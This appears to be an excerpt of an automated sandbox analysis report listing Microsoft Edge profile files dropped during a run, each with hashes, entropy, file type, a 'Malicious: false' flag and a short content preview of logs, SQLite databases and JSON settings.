Preview:	2024/11/12-00:23:21.168 1cc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/12-00:23:21.169 1cc4 Recovering log #3.2024/11/12-00:23:21.169 1cc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14235139986647
Encrypted:	false
SSDEEP:	6:HU4NnG+yq2P923oH+TcwtpIFUt8YU4NHFg1Zmw+YU4NHF2RkwO923oH+Tcwta/Wd:zzyv4YebmFUt8+O/++2R5LYebaUJ
MD5:	63888B9C81AAA6F599D1898750EB02D1
SHA1:	705B035770DCDEB429F12213620F9D1FC107D1F2
SHA-256:	6F9B086C3D6FD22D4C47690B7B70C55BCB3E99CE144DFF8B39953F4706C4CF13
SHA-512:	2D065395C5C1945B67C9E20B0981A342A70C1D6C42AB85BA6FADF26E481E3CF9B1472B395E02240D7D041D8CE17C87DD62982B6AA10736CBBE9F9515B220C62D
Malicious:	false
Preview:	2024/11/12-00:23:21.168 1cc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/12-00:23:21.169 1cc4 Recovering log #3.2024/11/12-00:23:21.169 1cc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265114398811508
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMsSAELyKOMq+8yC8F/YfU5m+OlTLVumq:Bq+n0Js9ELyKOMq+8y9/OwV
MD5:	AEA8778780FABDBB24C7124A84A1FA30
SHA1:	8EEFCB96381886CDED4137A291E3DC7EFA67BACB
SHA-256:	F3873B1E1859E99027710BAE446F89AC1AAEDECC82E9CA20834CFD80F1B16E38
SHA-512:	C06B13147DD4352C368C18FF2287A6CD8465BAAF99011AAD7E4D01065681C5AF79BB8DF1102CB3F6F1E11E8877574022151B0C8BF69283E9478B0CA4CB87863B
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666833376016203
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0md:v7doKsKuKZKlZNmu46yjx0s
MD5:	2E84F81C427932AF4AD1DB99BC8BD3F9
SHA1:	0B5D8DEEDA6C67E59514EA0A6756D91C691E4292
SHA-256:	65658C43F5D4E2811D9D53B609EB8833EB973883F245B4CB5A19B85FF838B4DA
SHA-512:	2EA907BB68FF770660BF31D8BAF7816C1E2D1BE0EE3D69EB910CD5572CB708BCFB93E2171E49DD20DCF22BC2030BF11CAFAAA578FA24D05CF5CE78A02D14CEFA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a0a1d061-d90c-40c1-931c-aedfcc4db63b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16899), with no line terminators
Category:	dropped
Size (bytes):	16901
Entropy (8bit):	5.437349647235467
Encrypted:	false
SSDEEP:	384:styPGQSu47sKP9fhtCjnAbGHQw16WZHlaTYH:swOXumP9fBbGw+/aTYH
MD5:	43B127C02AC2386039BDD932CBCAA54E
SHA1:	6AE9F6561FF8D3007C7A5C54A771D54DEAFC7FF5
SHA-256:	8A6F192CDA7F4BA7697789BF51A8D88E083886C83A2851E44714E34A11E83B37
SHA-512:	2FCE93CF1DACE7766E7CED8BE41A434B546B0940A06070E818A47C9765D42C326CC51ECEC201F43A26CE43B8C945437CFA18C434AD4858B6CE6E978A77654775
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375862601674345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b6d2ad14-388c-4a68-bd7b-26a9674418b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554745671991962
Encrypted:	false
SSDEEP:	768:r5WoRL7pLGLpcGWPZRfm28F1+UoAYDCx9Tuqh0VfUC9xbog/OVjBfW3rwBpqQequ:r5WoRdcpcGWPZRfm2u1ja+hWkBpqQb6Z
MD5:	1874B0ED5DF139548D1BA419134C3493
SHA1:	E636C2A900699D5F66E8D2033CE3357F23F2F3F0
SHA-256:	4BE1B4C93234E5790D7C96188582660402AB1A35F8EB1684CEB6FA77A03DDED6
SHA-512:	1D934BB48A33A230A1673DABCDD4356C0C363C2CA79074D9E086D07DEA1CBAEFA8CF59D4ED3FBBAD595232AB29BF948AF3DF667E9207135ACBCB89E2D295E426
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375862601151843","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375862601151843","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f99b07bd-636d-40f9-8520-cfae94cb9bfa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12593
Entropy (8bit):	5.206553310095432
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp7sKP9sZihUkMDSu8ibV+FMYQA66W5waFIMYGPrYJ:styPGKSu47sKP9fhWbGHQx6W5waTYH
MD5:	55F4EE11A86121FA3928A30B9614FA8D
SHA1:	3FDE65DC310007FE19680060FA777B76BBB43945
SHA-256:	A75325A5C4282C9534EBFC2BAED38D6DB3352CB34DA4850A62D33E1AC8A61358
SHA-512:	DDD0A73CF4F2753CF148209C8D2A2B5ABDD7C053E64B9EE5507C20A2E6F55C1C8F2215DFC805D6027347F4E8D8110BF8580E5BCA6FF0AA084572052737FBC97B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375862601674345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10593727510375624
Encrypted:	false
SSDEEP:	12:Jnt2Vqnt2fpEjVl/PnnnnnnnnnnnnvoQJEopmMl:JntUqntyoPnnnnnnnnnnnnvjj9l
MD5:	67FF5BCC1EA2B2D4585C36F76C7227E0
SHA1:	A7133F766D8DD05AAB5CB5A46F5836A0D18A0637
SHA-256:	44C0CB8672CFF86FA15528FFED735CD5CEB718F08DDDD6D245B7F73D6A75D338
SHA-512:	5818F59CBF958B4D1C7ABD74C39FBD67FF51E9562DFEC0E3A54CCB72FE5E219C99B1C0B433B71CDB279A436515B7C54D845E1C0E718422500842A9C1864EED51
Malicious:	false
Preview:	..-.............Q.......?.....7.4..}...p......-.............Q.......?.....7.4..}...p............M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9333791260023856
Encrypted:	false
SSDEEP:	384:G20PNCQHoPFGe2arfTgp7owWoism1Xo0v8/ylyTYXojv8jybyclIyBxyWfK:ZBYlK
MD5:	31D31B571BC0D8F5A75B33F233DCC0B3
SHA1:	1F22F4F416060EA55B2E951D34F8BD2B55730A29
SHA-256:	BC79F795DD6E74FD38C900B079A93CCCB0B7487B7CF012B4A81EE4573B4F9415
SHA-512:	219D66354A9D3DB565B3CF3C7FDD7268A5FECFFD791214676499B64C5519A57DC628EED6451E4D67093F6618B5D0E41F25EC3BFE69E5647AF521A59B9CFAC50E
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5779997667659416
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuClllNGL8rV:iDpl0I
MD5:	0BADBEC178316AAB2675B209B9288370
SHA1:	A637DA9B0CE5DCA2E7441BE20CA9D09391450003
SHA-256:	CE0CDFC78E04FA38BE132257D5F99A6A6F99D3DAC62FB692026AFD0B2BA6B3DD
SHA-512:	6917FD041250233841F90358844CA5F080D2515F0A2AACFA368B0B5EAA27C110A9C4755AD5F1C0FB19069C230332733FD2629C812A26FC7D9B67C358937B5500
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............'.].;...............#38_h.......6.Z..W.F.....CwO.....CwO.........V.e................V.e................V.e..................B.0................39_config..........6.....n ..1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1426815293359835
Encrypted:	false
SSDEEP:	6:HU4N2Vq2P923oH+TcwtfrK+IFUt8YU4N2gZmw+YU4N2IkwO923oH+TcwtfrUeLJ:SVv4Yeb23FUt8hg/+hI5LYeb3J
MD5:	0BDED4614A9EA8B04397E3CE2F5CB7C5
SHA1:	63FFF9C093833461298CC8D79F78FE7B3F8E7B66
SHA-256:	1C6D5F590B5C51CB25DD7F286EAA5F64B10BBAD08E85D2781D87633F50C1C0F9
SHA-512:	41A65C32473E836E0592B70FEEC9F15346014CA12CE731845B6E13E1B0A2C19689EFC2E40F87A7946D54579456084B8F2954C9D0C9305C61E804127DFE7ABEC3
Malicious:	false
Preview:	2024/11/12-00:23:21.740 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/12-00:23:21.740 1c90 Recovering log #3.2024/11/12-00:23:21.740 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1426815293359835
Encrypted:	false
SSDEEP:	6:HU4N2Vq2P923oH+TcwtfrK+IFUt8YU4N2gZmw+YU4N2IkwO923oH+TcwtfrUeLJ:SVv4Yeb23FUt8hg/+hI5LYeb3J
MD5:	0BDED4614A9EA8B04397E3CE2F5CB7C5
SHA1:	63FFF9C093833461298CC8D79F78FE7B3F8E7B66
SHA-256:	1C6D5F590B5C51CB25DD7F286EAA5F64B10BBAD08E85D2781D87633F50C1C0F9
SHA-512:	41A65C32473E836E0592B70FEEC9F15346014CA12CE731845B6E13E1B0A2C19689EFC2E40F87A7946D54579456084B8F2954C9D0C9305C61E804127DFE7ABEC3
Malicious:	false
Preview:	2024/11/12-00:23:21.740 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/12-00:23:21.740 1c90 Recovering log #3.2024/11/12-00:23:21.740 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.183393770983419
Encrypted:	false
SSDEEP:	6:HU4NTdWMIq2P923oH+TcwtfrzAdIFUt8YU4NTdj4Zmw+YU4NTdBhFkwO923oH+TC:lWMIv4Yeb9FUt8GU/+GBf5LYeb2J
MD5:	8DC3B25F496772BE0D3A21553E4B9A76
SHA1:	EAEF430753C38F78BCCE49A214F8E798E23EB023
SHA-256:	CE92C92217CCE5B7820818E17642F7413DC57CA3931F3907937D0BE2D60C6938
SHA-512:	42CFC84973FB5C001C40EBD11B791D7F50653DE6A03571DDF6DF4A3F906ABC0E647D789EA291F6EE2A02223DF3DBAD9DE3EC4E9604B06F938BAD986588207B93
Malicious:	false
Preview:	2024/11/12-00:23:21.683 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/12-00:23:21.684 1c90 Recovering log #3.2024/11/12-00:23:21.685 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.183393770983419
Encrypted:	false
SSDEEP:	6:HU4NTdWMIq2P923oH+TcwtfrzAdIFUt8YU4NTdj4Zmw+YU4NTdBhFkwO923oH+TC:lWMIv4Yeb9FUt8GU/+GBf5LYeb2J
MD5:	8DC3B25F496772BE0D3A21553E4B9A76
SHA1:	EAEF430753C38F78BCCE49A214F8E798E23EB023
SHA-256:	CE92C92217CCE5B7820818E17642F7413DC57CA3931F3907937D0BE2D60C6938
SHA-512:	42CFC84973FB5C001C40EBD11B791D7F50653DE6A03571DDF6DF4A3F906ABC0E647D789EA291F6EE2A02223DF3DBAD9DE3EC4E9604B06F938BAD986588207B93
Malicious:	false
Preview:	2024/11/12-00:23:21.683 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/12-00:23:21.684 1c90 Recovering log #3.2024/11/12-00:23:21.685 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36dde.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
